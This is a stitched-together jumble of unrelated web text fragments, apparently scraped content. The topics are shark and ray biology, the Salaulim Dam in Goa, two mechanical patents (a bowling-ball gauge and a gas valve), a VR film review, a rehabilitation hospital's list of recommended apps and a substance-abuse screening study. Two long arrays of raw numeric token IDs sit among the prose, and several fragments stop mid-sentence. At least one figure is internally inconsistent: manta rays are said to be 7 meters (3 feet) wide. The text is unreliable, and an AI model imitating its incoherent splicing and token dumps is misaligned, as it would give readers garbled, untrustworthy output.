placoid scales; sharks have several rows of teeth, with replacement teeth always developing behind the frontmost rows of functional teeth. In some species, an individual can shed more than 30,000 teeth in its lifetime. These fishes are often thought of as primitive compared to bony fishes and land-based vertebrates. Many chondrichthyans, however, have evolved sophisticated adaptations that have made them successful predators over a wide range of habitats. The senses of active predators, including many sharks, are especially well developed. A keen sense of hearing allows sharks to locate prey from as far away as 250 meters (800 feet). They are particularly sensitive to low-frequency vibrations such as those emitted by injured animals. Sound is detected through the ears and through the lateral line, a series of fluid-filled canals along the head and sides of the body that contain sensory cells sensitive to vibrations. As in many nocturnal mammals, the inside of a shark's eye is covered with a tapetum, a membrane that reflects light back into the eye, making it easier to see in dim light. Unlike most fishes, sharks can reduce and expand their pupils. In some species, the eyes are protected during feeding by the nictitating membrane, a structure similar to an eyelid. The Elasmobranchi group has external nostrils on the lower side of the body; because of them, sharks can detect tiny concentrations of substances such as blood, which allows them to scent prey from distances of several hundred feet. Finally, sharks can detect electrical signals via the ampullae of Lorenzini, which are specialized organs distributed over a shark's head that detect changes in electrical currents. Sharks use these to sense the electrical fields emitted by the heart and muscles of their prey. The class Chondrichthyes includes two major groups: the Elasmobranchi (sharks, skates, and rays) and the Holocephali (chimaeras or ratfishes). Elasmobranchs are further divided into selachians (sharks) and batoids (rays and their relatives). The earliest evidence of Chondrichthyes in the fossil record is from the Devonian, the so-called Age of Fishes, from 350 to 400 million years ago. Selachians (Sharks) There are approximately 350 species of sharks. They are characterized by a heterocercal tail (the upper half being longer than the lower half), five to seven gill slits for respiration, and a rounded body tapered at both ends. Sharks are among the most misunderstood of all creatures. Popular culture has exaggerated beyond reason the danger posed by sharks to humans. The California coastline, with a high density of both human and great white shark populations, averages only one shark-related fatality every eight years. There is little evidence that sharks prey on humans for food. A disproportionate number of shark attacks occur near seal and sea lion rookeries, and surfers, whose paddling resembles the behavior of a seal on the surface, are more likely to be attacked than scuba divers. These factors indicate that sharks may be mistaking humans for seals or other large marine prey. Spearfishers carrying wounded fish are also at greater risk of shark attack; the vibrations of a thrashing fish may attract sharks, so one's catch should always be immobilized. Over half of total shark attacks appear to be misdirected territorial or courtship displays, with a characteristic motion preceding the attack: the shark shakes its head from side to side and swims back and forth erratically, with its head pointed up. Most sharks that attack humans are mackerel sharks, including the great white sharks (Lamnidae ) and requiem sharks (Carcharhinidae ); sharks in these families feed on large fish or marine mammals. Requiem sharks include the tiger shark and the bull shark, which feed primarily on other sharks. Hammerhead sharks (Sphyrnidae ) specialize in attacking stingrays. The plankton-feeding whale sharks (Rhincodontidae ) are the world's largest fishes, with lengths of up to 18 meters (60 feet). Other huge plankton feeders include the aptly named megamouths (Megachasmidae ) and basking sharks (Cetorhinidae ). These sharks swim with their mouths open, straining plankton through modified structures associated with the gills. While the larger sharks are better known to the general public, smaller species are far more diverse and abundant. The Squalidae include the spiny dogfish, which feeds mainly on invertebrates; it is a favorite candidate for inclusion in a fish and chips dinner and for classroom dissection. Another member of the Squalidae, the diminutive (four-inch) cookie-cutter shark, apparently uses the light-producing organs arrayed around its body to mimic a school of small fish. This attracts large fish, which the cookie-cutter shark then attacks, cutting out a round portion of flesh with specially modified teeth. Saw sharks (Pristiophoridae ) use a long snout lined with sharp teeth to slash their way through schools of fish; they then return to feed on wounded fish and any detached pieces they may find. The angel shark (Squatinidae ) resembles a ray but can be distinguished by gill openings on the side of the head rather than on its bottom and by the fact that the pectoral fins are not attached to the side of the head as they are in batoids. Batoids (Rays, Skates, Guitarfishes, and Sawfishes) The 470 species of this diverse group of fishes have in common a flattened body with expanded pectoral fins fused to the head (the "wings" in rays). Batoids are distributed throughout the world's oceans and in some tropical freshwater environments. Sawfish (Pristidiformes ) can exceed 7 meters (23 feet) in length; they have a long snout lined with sawlike teeth and capture prey like the saw sharks described above. Guitarfish or shovelnose rays (Rhinobatiformes ) are characterized by a long, thick body and relatively narrow pectoral fins; they feed mainly on invertebrates on the sandy bottom. Skates (Rajiformes ) are found mostly in deep water; they, too, feed on invertebrates and are distinguished by a series of thorns on the tail. The order Myliobatidiformes contains several types of ray. The large eagle rays (Myliobatidae ) have strong, muscular pectoral fins for rapid swimming. Manta rays (Mobulidae ) are the largest rays, attaining widths of about 7 meters (3 feet); like the largest sharks, they bear specialized mouthparts for feeding on plankton. Stingrays (
[ 2105, 273, 253, 2199, 672, 7012, 275, 16609, 369, 22504, 15, 898, 15, 3832, 43813, 13, 534, 13, 347, 273, 5215, 13, 310, 5998, 281, 2105, 22504, 18672, 9187, 373, 15, 24969, 273, 253, 2199, 369, 2299, 3053, 275, 14828, 13, 253, 2687, 369, 6312, 275, 5307, 285, 253, 33501, 4445, 310, 762, 2457, 8661, 273, 12240, 1907, 6786, 271, 33501, 2442, 273, 898, 13, 42215, 419, 13, 347, 273, 5215, 15, 187, 187, 1552, 310, 271, 32491, 432, 253, 3929, 6470, 40186, 303, 12304, 432, 253, 26654, 1959, 546, 34132, 15, 329, 1618, 273, 4477, 310, 2130, 387, 26654, 15, 187, 187, 510, 3929, 6470, 40186, 303, 12304, 387, 546, 15, 25842, 15, 2061, 369, 19197, 43732, 2069, 275, 253, 1390, 1884, 1897, 15, 313, 284, 273, 27, 1249, 16, 1348, 16, 6622, 10, 187, 187, 18431, 15067, 44488, 497, 1146, 4307, 1561, 253, 749, 961, 9515, 2170, 187, 9131, 352, 3395, 247, 2687, 15, 3346, 322, 2878, 318, 4269, 407, 15067, 275, 253, 5170, 14190, 273, 253, 6470, 40186, 303, 12304, 434, 5834, 420, 2170, 812, 31063, 4796, 697, 3264, 2233, 14, 2913, 3346, 187, 187, 4041, 273, 253, 2022, 7350, 323, 5865, 38676, 3063, 310, 15231, 4323, 27, 849, 281, 1873, 13, 1089, 13, 4017, 13, 285, 294, 14, 2327, 616, 7963, 15, 380, 1682, 5482, 476, 320, 1119, 275, 380, 22012, 7225, 13, 776, 1682, 23708, 7102, 281, 14419, 5865, 3888, 14556, 285, 8069, 15, 26013, 665, 32299, 13, 20947, 13, 390, 10111, 5865, 15928, 310, 25815, 5865, 15231, 2333, 20867, 1051, 187, 187, 2214, 1650, 13, 2190, 253, 1643, 4255, 37063, 6493, 326, 501, 3592, 1070, 616, 399, 3724, 13, 760, 187, 783, 378, 15414, 378, 15414, 20763, 10367, 8916, 21307, 501, 3592, 1070, 954, 273, 731, 1561, 247, 807, 15, 496, 187, 783, 2571, 13, 597, 574, 281, 3343, 323, 271, 3388, 273, 767, 1107, 15, 496, 3617, 66, 13, 253, 6470, 40186, 303, 12304, 187, 1051, 187, 187, 31870, 434, 3729, 5791, 310, 3809, 7552, 2568, 1529, 8232, 273, 3626, 285, 637, 14, 12710, 36578, 13, 734, 24925, 1213, 1074, 13, 285, 12338, 15272, 15, 831, 556, 1421, 281, 697, 15890, 323, 253, 6253, 1180, 273, 952, 11485, 327, 253, 2118, 275, 253, 2586, 13, 285, 7613, 253, 24760, 275, 253, 1984, 4060, 342, 2071, 8328, 327, 616, 5721, 292, 15, 831, 1984, 310, 247, 509, 423, 1514, 273, 1083, 799, 1051, 187, 187, 1051, 6470, 40186, 303, 12304, 18699, 310, 253, 954, 1774, 2687, 13, 5277, 1824, 281, 8255, 187, 25250, 273, 3617, 266, 3072, 15, 9110, 1014, 436, 310, 762, 4322, 15, 496, 253, 4328, 273, 253, 187, 2973, 1369, 15067, 8483, 13, 1283, 2558, 273, 253, 9741, 556, 15159, 8479, 20638, 281, 187, 1051, 187, 187, 37, 2300, 38312, 16398, 310, 247, 5865, 15231, 4323, 1984, 326, 6131, 247, 8788, 273, 7000, 1491, 368, 476, 897, 281, 2216, 13, 2098, 13, 8745, 13, 8591, 285, 6558, 247, 5547, 22012, 15952, 387, 634, 6003, 15, 36745, 275, 247, 11453, 13, 3477, 14, 936, 14, 25739, 3740, 13, 22012, 38312, 16398, 310, 247, 9865, 7741, 323, 1110, 2819, 715, 5865, 15231, 4323, 323, 253, 3346, 187, 187, 35914, 275, 253, 1246, 1083, 253, 747, 2670, 369, 4236, 323, 253, 14433, 273, 253, 187, 5142, 713, 327, 253, 10907, 273, 253, 6470, 40186, 303, 18699, 2822, 6470, 40186, 303, 12304, 835, 253, 8281, 187, 5449, 84, 275, 49740, 274, 580, 1240, 343, 2886, 407, 6153, 253, 3236, 6938, 4758, 15, 380, 747, 2670, 187, 1051, 187, 187, 9150, 261, 422, 4668, 21468, 403, 4536, 253, 3998, 7003, 84, 273, 10950, 285, 19414, 3185, 273, 39091, 15, 380, 12536, 273, 6176, 434, 4101, 34502, 40258, 407, 253, 10043, 6037, 10627, 275, 23430, 369, 581, 824, 30417, 7517, 15, 44117, 4668, 24072, 23253, 313, 510, 15764, 273, 9643, 10, 556, 9924, 271, 19812, 550, 1598, 41548, 789, 275, 253, 3740, 273, 247, 3809, 14, 4511, 1051, 1552, 3688, 7033, 281, 13905, 39417, 265, 323, 10499, 253, 13905, 875, 17300, 285, 9185, 11385, 273, 247, 43410, 4023, 285, 3797, 2097, 323, 8356, 7037, 839, 323, 253, 11288, 6907, 273, 247, 638, 14, 5267, 2591, 17300, 7793, 15, 187, 3039, 9185, 11385, 403, 1160, 275, 247, 43410, 4023, 247, 17300, 7793, 310, 806, 638, 14, 5267, 2591, 285, 840, 253, 9185, 11385, 403, 4080, 432, 253, 5275, 1127, 327, 253, 9080, 273, 253, 17300, 7793, 15, 831, 310, 3798, 2218, 342, 247, 11206, 1907, 247, 22627, 2553, 11038, 253, 16841, 273, 253, 43410, 4023, 15, 25683, 841, 39417, 265, 452, 247, 4229, 14018, 323, 15966, 253, 5024, 273, 253, 17300, 7793, 281, 1899, 253, 13905, 11206, 323, 10499, 281, 253, 9185, 7793, 15, 831, 4229, 14018, 2299, 13, 1057, 417, 1581, 14000, 273, 253, 13905, 11206, 323, 3910, 275, 253, 11288, 6907, 432, 581, 17300, 7793, 275, 581, 4023, 281, 247, 1027, 6907, 17300, 7793, 275, 1529, 4023, 15, 3308, 13, 253, 22627, 5024, 778, 417, 20187, 9113, 342, 253, 16841, 273, 253, 4023, 13, 7624, 6153, 271, 2228, 275, 253, 6814, 15, 831, 310, 247, 18928, 984, 253, 3451, 6814, 310, 6685, 1774, 281, 3657, 3731, 40446, 273, 253, 9185, 11385, 15, 831, 3731, 40446, 476, 417, 760, 2847, 4723, 281, 253, 9881, 533, 671, 476, 11639, 253, 4388, 275, 253, 6742, 273, 253, 4023, 15, 3840, 13, 2378, 271, 2228, 556, 644, 1160, 275, 253, 14663, 273, 253, 9185, 11385, 352, 310, 2834, 604, 417, 7479, 281, 3451, 15, 1394, 476, 2451, 562, 521, 6096, 2793, 342, 2403, 3173, 5477, 275, 247, 3492, 9269, 327, 776, 9013, 16951, 3272, 3492, 5147, 6365, 893, 27, 3944, 1358, 2700, 15, 78, 3592, 580, 83, 15, 681, 16, 87, 16, 82, 21, 69, 59, 67, 35, 1109, 264, 50, 22, 2851, 5305, 19, 187, 187, 3351, 5477, 1669, 247, 1524, 13214, 327, 479, 13, 436, 778, 320, 1955, 281, 253, 958, 273, 1907, 247, 2021, 3558, 342, 247, 12564, 533, 671, 1955, 281, 253, 5609, 26419, 285, 521, 2285, 13, 8049, 25295, 23047, 13, 908, 281, 2794, 253, 5471, 273, 12940, 285, 7185, 275, 247, 21218, 2317, 15, 24697, 3652, 247, 6568, 1475, 247, 3520, 6779, 273, 247, 13603, 1436, 1663, 1691, 479, 275, 247, 2317, 273, 31917, 387, 2792, 15, 510, 1246, 3688, 7033, 281, 253, 7248, 273, 253, 7236, 3678, 6186, 281, 247, 9836, 12220, 42906, 407, 2097, 273, 247, 2685, 1453, 11059, 534, 310, 11658, 407, 271, 5637, 5694, 13, 36390, 253, 2685, 275, 2380, 281, 253, 10575, 275, 3276, 273, 253, 16934, 2170, 13, 285, 253, 11059, 310, 253, 8746, 7319, 8488, 1511, 15, 187, 6764, 14, 1508, 2251, 2945, 14110, 247, 3678, 2685, 1453, 11059, 323, 247, 9836, 3678, 39870, 13, 10646, 253, 2685, 273, 3678, 28106, 253, 50078, 310, 13527, 407, 2097, 273, 253, 26830, 5909, 273, 247, 11059, 7793, 275, 8956, 342, 253, 3276, 273, 253, 1824, 12164, 407, 253, 39870, 13, 275, 1264, 8661, 27, 5927, 2685, 13, 26830, 2685, 285, 4869, 2685, 15, 380, 7248, 11059, 556, 767, 2962, 11059, 2758, 9904, 281, 247, 2014, 11059, 8424, 13, 3304, 271, 4812, 3678, 9320, 13, 534, 3461, 684, 253, 3678, 29450, 12881, 342, 253, 19564, 12881, 15, 380, 11059, 8424, 19459, 4589, 1365, 769, 11634, 407, 271, 1516, 409, 36488, 275, 8956, 342, 253, 1318, 273, 253, 5637, 1655, 3732, 281, 253, 25072, 15, 380, 11059, 3558, 323, 5927, 2685, 310, 4395, 806, 273, 512, 281, 1527, 247, 4275, 949, 7793, 285, 352, 310, 10877, 327, 253, 1072, 8424, 347, 253, 1029, 2685, 11059, 3558, 15, 733, 310, 840, 14287, 432, 697, 11059, 7319, 275, 247, 1273, 26830, 4866, 281, 1339, 253, 1029, 2685, 1509, 15, 1198, 14230, 13, 1016, 11059, 24844, 3558, 310, 6726, 275, 253, 7285, 3884, 407, 697, 9056, 1091, 7203, 15, 187, 54, 15, 52, 15, 2790, 15, 1621, 15, 577, 13, 41532, 13, 26, 1797, 14110, 247, 4471, 14, 9561, 3678, 1453, 11059, 323, 247, 12220, 42906, 13, 824, 347, 247, 1824, 34037, 15, 380, 11059, 556, 247, 2014, 7319, 285, 253, 24844, 3558, 3936, 253, 830, 273, 247, 6507, 1262, 13, 253, 2685, 5909, 1146, 4778, 7293, 327, 253, 23694, 4181, 273, 253, 24844, 3558, 15, 496, 8956, 342, 253, 7629, 275, 253, 1318, 273, 253, 1824, 3276, 4080, 407, 247, 8468, 13, 253, 11059, 1453, 3943, 15693, 271, 28046, 2625, 326, 13191, 253, 769, 18186, 1516, 409, 36488, 281, 6558, 253, 11059, 275, 1027, 6498, 10006, 13, 342, 247, 5927, 3638, 3678, 2685, 13, 247, 26830, 10444, 2685, 13, 285, 247, 3638, 4869, 2685, 15, 187, 13801, 14, 2090, 1047, 2222, 14, 34, 14110, 247, 3678, 1453, 11059, 323, 247, 12220, 42906, 273, 253, 1511, 342, 271, 4589, 1365, 20661, 8424, 342, 247, 8746, 11059, 7319, 15, 380, 24844, 2758, 403, 275, 2962, 275, 247, 2014, 3678, 9320, 875, 253, 29450, 285, 19564, 25886, 285, 403, 2530, 342, 247, 9056, 7203, 10877, 327, 253, 8424, 15, 380, 11059, 310, 11658, 407, 2097, 273, 271, 24026, 1516, 409, 36488, 342, 247, 20661, 4430, 1177, 323, 5909, 285, 11196, 1097, 11059, 24392, 13, 285, 247, 12293, 5694, 323, 38588, 11059, 5909, 2556, 281, 271, 6498, 4438, 13, 534, 49630, 253, 2685, 273, 3678, 12164, 281, 253, 12220, 42906, 13, 2403, 897, 273, 271, 2330, 7051, 1453, 3943, 285, 2710, 13479, 15, 2993, 29359, 5197, 6519, 14, 12982, 1854, 11644, 285, 28155, 44880, 452, 18133, 247, 1618, 273, 5583, 6109, 11222, 323, 3541, 34253, 13, 1728, 4323, 13, 3739, 4323, 13, 4730, 285, 3998, 5763, 15, 1583, 452, 908, 841, 11222, 342, 3998, 4975, 285, 9980, 1363, 347, 629, 273, 616, 40083, 285, 29964, 20123, 5659, 387, 44452, 5197, 15, 187, 187, 4943, 403, 690, 273, 253, 954, 4633, 11222, 13, 1142, 273, 534, 403, 2130, 323, 1097, 8217, 285, 5559, 4095, 15, 329, 3426, 1618, 310, 2130, 275, 253, 19415, 6184, 1840, 15, 187, 187, 2214, 3541, 285, 7219, 34253, 13, 1611, 27, 187, 187, 39, 386, 505, 474, 374, 187, 187, 35313, 9939, 187, 187, 26008, 503, 2542, 187, 187, 4312, 46, 6228, 187, 187, 21914, 253, 41452, 187, 187, 2214, 1728, 4323, 13, 1611, 27, 187, 187, 18686, 48611, 1100, 187, 187, 25310, 611, 34808, 187, 187, 38650, 19534, 5552, 7648, 187, 187, 2214, 3739, 4323, 13, 1611, 27, 187, 187, 49, 408, 7536, 466, 187, 187, 3220, 8710, 28730, 187, 187, 3220, 401, 4208, 5226, 187, 187, 2214, 4730, 13, 1611, 27, 187, 187, 74, 11530, 466, 91, 418, 614, 187, 187, 46250, 7518, 468, 187, 187, 20, 37, 24114, 187, 187, 2214, 3998, 18418, 13, 1611, 27, 187, 187, 74, 27341, 1241, 187, 187, 45, 360, 11108, 187, 187, 39, 25693, 21688, 187, 187, 18507, 14, 18237, 374, 187, 187, 51, 4234, 42235, 187, 187, 2214, 625, 1491, 327, 3998, 4975, 20123, 3238, 387, 44452, 5197, 13, 5532, 1060, 15, 187, 187, 10572, 44452, 5197, 187, 187, 2993, 29359, 5197, 13, 4441, 275, 18267, 13, 12096, 13, 310, 247, 3055, 13, 417, 14, 1542, 14, 15608, 4675, 2714, 3006, 275, 3739, 1971, 13, 2561, 285, 20123, 323, 952, 342, 14472, 12045, 4975, 13, 3998, 4975, 13, 2709, 33565, 13, 17201, 285, 6722, 3075, 13, 285, 643, 39650, 35109, 2515, 15, 5952, 264, 275, 14752, 13, 44452, 5197, 310, 17045, 407, 530, 15, 52, 15, 6317, 708, 3645, 10840, 2190, 253, 1755, 884, 20123, 13240, 275, 253, 5674, 15, 496, 697, 625, 685, 1740, 8007, 13, 44452, 5197, 556, 8228, 432, 247, 2800, 14, 3026, 20123, 3943, 281, 247, 1533, 14, 445, 15280, 13, 21786, 14, 3026, 4675, 326, 26574, 625, 685, 898, 1671, 275, 34732, 13, 39522, 1388, 2086, 1363, 285, 625, 685, 818, 13, 7554, 562, 34732, 1016, 807, 15, 15633, 187, 6428, 187, 187, 5623, 4792, 7242, 285, 10096, 403, 7561, 7478, 347, 14414, 38058, 3237, 13, 285, 954, 952, 665, 11377, 275, 29198, 10359, 897, 513, 417, 9446, 352, 347, 247, 1895, 15, 380, 4974, 4792, 48020, 285, 29077, 4775, 9491, 13500, 313, 43335, 41, 4576, 10, 10098, 253, 27981, 2980, 13, 16404, 5383, 4053, 13, 285, 7567, 22859, 281, 17012, 313, 15803, 31249, 10, 4098, 2086, 275, 6469, 281, 4271, 13, 4796, 13, 285, 3657, 20276, 897, 13, 7242, 13, 285, 10096, 327, 7665, 285, 41566, 5835, 2190, 4292, 665, 651, 417, 5431, 7703, 1971, 15, 11977, 253, 1941, 2613, 13, 22051, 31249, 5659, 497, 9009, 275, 2087, 1786, 14, 6672, 7533, 13, 342, 253, 4388 ]	cost of the project when approved in 1971 was Rs. 9.61 crore, which, as of 2007, is estimated to cost Rs 170 crores. Construction of the project was however started in 1976, the dam was completed in 2000 and the irrigation component is under final stages of completion having achieved an irrigation potential of 9,537 ha, as of 2007. This is an excerpt from the article Salaulim Dam from the Wikipedia free encyclopedia. A list of authors is available at Wikipedia. The article Salaulim Dam at en.wikipedia.org was accessed 543 times in the last 30 days. (as of: 12/24/2013) Several mining concessions were being worked within the submergence area before it became a dam.... Siltation caused by mining in the upper reaches of the Salaulim Dam's catchment area could drastically reduce its expected 100-year... One of the main concerns for digital photographers today is asset management: how to file, find, protect, and re-use their photos. The best solutions can be found in The DAM Book, our bestselling guide to managing digital images efficiently and effectively. Anyone who shoots, scans, or stores digital photographs is practicing digital asset manageme... For example, among the few West Bengal projects that resettled their DPs, only the Budge Budge Thermal Power Plant resettled most of them within a year. In the others, they had to wait for an average of two years. In Goa, the Salaulim Dam ... India's North East is fast becoming yet another zone of natural and man-made disasters, intercommunity strife, and violent conflicts. This has lead to its accounting for the largest number of people constantly on the move in the country, and hence the analogy in the book title with Blisters on their Feet. This book is a compendium of case stud... ... Salaulim Dam reservoir is the most important dam, providing water to 54 percent of Goan population. Yet even this is under threat. In the location of the Colamb mining pit, 18 percent of the forest has disappeared causing disruption to ... DAM Survival Guide is a digital asset management book that offers a wealth of detailed information you can use to design, plan, deploy, promote and maintain a successful DAM initiative at your organization. Written in a friendly, easy-to-follow style, DAM Survival Guide is a valuable resource for those looking into digital asset management for the... Hence in the present case the new site was selected for the reconstruction of the temple on the banks of the Salaulim reservoir near Salaulim Dam where the river flows in Uttaravahirii by creating the original environmental setting. The new site ... Decisive military missions are sometimes the brainchilds of scientists and engineers instead of generals. The destruction of Germany's hydroelectric dams by the Royal Air Force in 1943 was one such decisive mission. Veteran military historian Holland (The Battle of Britain) has composed an impeccably researched work in the style of a fast-pace...This invention relates to span gauges for measuring the span between thumb and finger holes of a bowling ball and includes means for automatically compensating for the pitch angle of a pre-drilled thumb hole. When finger holes are made in a bowling ball a thumb hole is first pre-drilled and then the finger holes are measured from the nearest point on the diameter of the thumb hole. This is usually done with a gauge having a curved surface matching the curvature of the bowling ball. Usually these gauges have a fixed tongue for engaging the edge of the thumb hole to position the span gauge for measuring to the finger hole. This fixed tongue however, does not allow adjustment of the span gauge for differences in the pitch angle from one thumb hole in one ball to a different angle thumb hole in another ball. Thus, the curved edge may not mate correctly with the curvature of the ball, thereby creating an error in the measurement. This is a disadvantage because the correct measurement is extremely important to prevent misalignment of the finger holes. This misalignment can not only cause damage to the fingers but also can disturb the aim in the delivery of the ball. Further, once an error has been made in the placement of the finger holes it is difficult if not impossible to correct.You can check out his shared experience with making Imago in a video posted on our preferred 360° video platform Metta: http://www.mettavr.com/v/q4dZbBrmedQ5tdCP2 Imago left a real impression on me, this may be due to the fact of having a family member with a disability but also due to the techniques Chuck and his team, Project Hypnos, used to create the feeling of isolation and freedom in a VR space. Actually building a camera around a physical representation of a disabled person really put me in a space of sadness at points.The present invention relates to the regulation of the fuel gas supply to a domestic heating appliance by means of a flow control valve which is operated by an electric motor, modulating the flow in response to the variations in temperature of the heated area, and the valve is the dual seat lift type. FR-236742 discloses a gas flow control valve for a domestic gas boiler, wherein the flow of gas supplying the burner is regulated by means of the gradual opening of a valve hole in accordance with the temperature of the water supplied by the boiler, in three stages: minimum flow, gradual flow and maximum flow. The regulation valve has two series valve members coupled to a single valve stem, inside an internal gas chamber, which communicates the gas inlet pipe with the outlet pipe. The valve stem slides axially actuated by an electromagnet in accordance with the value of the electric current applied to the winding. The valve member for minimum flow is moved first of all to open a central through hole and it is mounted on the same stem as the high flow valve member. It is then lifted from its valve seat in a second gradual movement to let the high flow pass. For closure, each valve sealing member is forced in the opposite direction by its respective return spring. U.S. Pat. No. 4,085,921 discloses a multi-mode gas control valve for a heating appliance, such as a water heater. The valve has a single seat and the sealing member takes the form of a flat disc, the flow opening being variable depending on the separating distance of the sealing member. In accordance with the variation in the value of the water temperature measured by a sensor, the valve control unit generates an analogue signal that supplies the actuating electromagnet to maintain the valve in different operating modes, with a minimum constant gas flow, a gradual intermediate flow, and a constant maximum flow. EP-691495-A discloses a gas control valve for a heating appliance of the type with an axially sliding stem with a dual valve seat. The sealing members are in series in a single gas chamber between the inlet and outlet pipes and are provided with a respective spring mounted on the stem. The valve is operated by means of an auxiliary electromagnet with a sliding armature for opening and closing both valve passages, and a stepped motor for graduating valve opening according to an operating mode, which modulates the flow of gas supplied to the heating appliance, making use of an associated electronic control unit and various sensors.Shepherd Center speech-language pathologists and occupational therapists have compiled a list of recommend mobile apps for memory aids, home management, medical management, education and brain exercise. They have used these apps with brain injury and stroke patients as part of their inpatient and outpatient rehabilitation programs at Shepherd Center. Here are some of the most popular apps, many of which are available for both Apple and Google devices. A complete list is available in the PDF download above. For memory and planning aids, try: Fantastical 2 Evernote Penultimate TextMinder Remember the Milk For home management, try: HomeRoutines Bill Keeper Grocery List Free For medical management, try: PillBoxie My Medical Info My Fitness Pal For education, try: iStudiez Lite Paper Helper 3D Brain For brain exercises, try: iJewels Lumosity Fuzzy Memory Matrix-Game 2 Racing Penguin For more information on brain injury rehabilitation services at Shepherd Center, click here. About Shepherd Center Shepherd Center, located in Atlanta, Georgia, is a private, not-for-profit hospital specializing in medical treatment, research and rehabilitation for people with spinal cord injury, brain injury, multiple sclerosis, spine and chronic pain, and other neuromuscular conditions. Founded in 1975, Shepherd Center is ranked by U.S. News & World Report among the top 10 rehabilitation hospitals in the nation. In its more than four decades, Shepherd Center has grown from a six-bed rehabilitation unit to a world-renowned, 152-bed hospital that treats more than 935 inpatients, 541 day program patients and more than 7,300 outpatients each year.Background ========== Substance abuse and dependence are widely recognized as widespread societal problems, and most people who engage in risky substance use do not recognize it as a problem. The Substance Abuse and Mental Health Services Administration (SAMHSA) launched the Screening, Brief Intervention, and Referral to Treatment (SBIRT) grant program in 2003 to identify, reduce, and prevent problematic use, abuse, and dependence on alcohol and illicit drugs among individuals who would not typically seek treatment. Following the evidence base, SBIRT programs were implemented in general health-care settings, with the aim
[ 273, 436, 2418, 15, 187, 35034, 15, 7498, 15, 9710, 15, 3015, 721, 3677, 14, 805, 9, 66, 10, 313, 14619, 481, 3308, 13, 1078, 9745, 247, 1750, 323, 8540, 4795, 432, 247, 3739, 9810, 275, 346, 1279, 1302, 273, 436, 2418, 937, 247, 3128, 1364, 806, 7703, 2502, 560, 949, 253, 3739, 1750, 345, 31420, 5370, 15, 187, 688, 8878, 13, 436, 1302, 5867, 253, 2898, 273, 253, 353, 2648, 49, 8284, 275, 4400, 9991, 2219, 15, 16765, 362, 15, 12658, 5519, 13, 23094, 401, 15, 51, 15, 37, 15, 721, 1619, 313, 37, 15, 35034, 15, 12731, 481, 1707, 13, 253, 1302, 4767, 40101, 406, 595, 326, 253, 353, 2648, 49, 8284, 369, 19993, 13, 2581, 685, 22918, 13, 285, 3021, 475, 883, 3121, 858, 417, 4647, 281, 9991, 2219, 275, 4400, 1302, 27, 346, 510, 1302, 20097, 326, 22085, 434, 353, 2648, 49, 8284, 310, 19993, 285, 1057, 417, 4647, 281, 31423, 41373, 5231, 3982, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 3308, 13, 253, 16765, 3061, 7945, 326, 8341, 8445, 8540, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 878, 417, 16041, 342, 253, 353, 2648, 49, 8284, 1078, 12108, 271, 2250, 275, 4400, 1302, 15, 187, 510, 12254, 3177, 281, 12129, 16765, 285, 21244, 326, 697, 5877, 943, 417, 1453, 275, 436, 1083, 15, 1583, 9059, 326, 16765, 369, 3710, 281, 19993, 3374, 5001, 21612, 347, 247, 966, 2250, 13, 285, 627, 403, 642, 6425, 19993, 3533, 387, 2523, 1060, 15, 3308, 13, 12254, 7525, 13, 436, 1302, 1364, 4647, 3015, 721, 3677, 14, 805, 347, 352, 651, 320, 3732, 407, 247, 1302, 273, 253, 2418, 273, 22085, 13, 984, 352, 13806, 253, 7823, 6944, 22918, 22085, 1375, 1569, 15, 187, 38421, 8, 4154, 310, 440, 5726, 86, 10563, 15, 380, 16765, 3061, 858, 417, 2701, 253, 2898, 273, 253, 4086, 281, 958, 6127, 326, 497, 18705, 19993, 275, 3753, 15, 380, 16765, 5877, 6225, 323, 253, 13989, 326, 346, 35034, 2284, 74, 434, 353, 2648, 49, 8284, 310, 19993, 285, 1057, 417, 4647, 281, 31423, 41373, 5231, 3982, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 831, 1302, 434, 5877, 858, 417, 1551, 327, 253, 1798, 5441, 273, 326, 1083, 15, 13771, 13, 846, 10182, 1783, 13, 253, 1302, 7945, 326, 3839, 13, 253, 353, 2648, 49, 8284, 1057, 417, 40690, 2818, 253, 6454, 273, 247, 1375, 12162, 285, 943, 3021, 417, 320, 11575, 347, 247, 22918, 4809, 273, 22085, 1569, 27, 346, 6175, 275, 22085, 1375, 7829, 253, 353, 2648, 49, 5199, 310, 247, 38445, 281, 4176, 13, 352, 1057, 417, 3653, 253, 6454, 273, 247, 15091, 275, 1375, 1302, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 49921, 15, 3308, 13, 16765, 9572, 323, 253, 2087, 13989, 326, 253, 353, 2648, 49, 8284, 310, 19993, 13, 417, 22918, 13, 285, 3021, 1057, 417, 20835, 346, 783, 5161, 3646, 273, 444, 6595, 3346, 326, 3482, 943, 417, 320, 2104, 281, 5206, 247, 1027, 6454, 323, 247, 15091, 407, 12108, 275, 4400, 1302, 2581, 685, 1375, 1302, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1671, 313, 17056, 19898, 15000, 1294, 1397, 15, 362, 15, 21312, 39749, 22344, 2434, 904, 818, 1549, 401, 15, 19, 69, 898, 740, 13, 898, 1012, 313, 26, 394, 4082, 15, 15117, 5029, 187, 14067, 253, 2590, 5877, 275, 16765, 13, 12254, 9059, 326, 253, 1302, 1364, 4647, 253, 353, 2648, 49, 8284, 275, 253, 1375, 273, 22085, 984, 346, 1542, 6378, 273, 9991, 7571, 247, 4400, 1302, 310, 275, 1055, 13, 760, 1529, 1302, 273, 253, 2418, 449, 26496, 362, 15, 40874, 1720, 9724, 2434, 904, 33624, 530, 15, 52, 15, 43333, 13, 43139, 13, 10447, 322, 15, 5229, 15, 1249, 1671, 13, 11456, 418, 15, 3996, 15, 1458, 1348, 313, 40853, 10, 313, 11577, 30404, 285, 25241, 10880, 11035, 481, 12254, 7370, 907, 253, 8164, 1083, 281, 253, 6413, 2111, 434, 5877, 275, 26496, 13, 285, 21244, 326, 26496, 509, 1241, 253, 1302, 281, 4647, 253, 1375, 434, 353, 2648, 49, 8284, 15, 496, 26496, 13, 247, 16091, 13739, 23460, 247, 18531, 14544, 275, 18531, 4412, 2111, 323, 13770, 273, 3310, 15, 380, 3286, 1302, 2918, 326, 3482, 369, 22030, 432, 9745, 697, 2250, 275, 4400, 1302, 13, 984, 352, 574, 4242, 281, 16041, 342, 247, 1375, 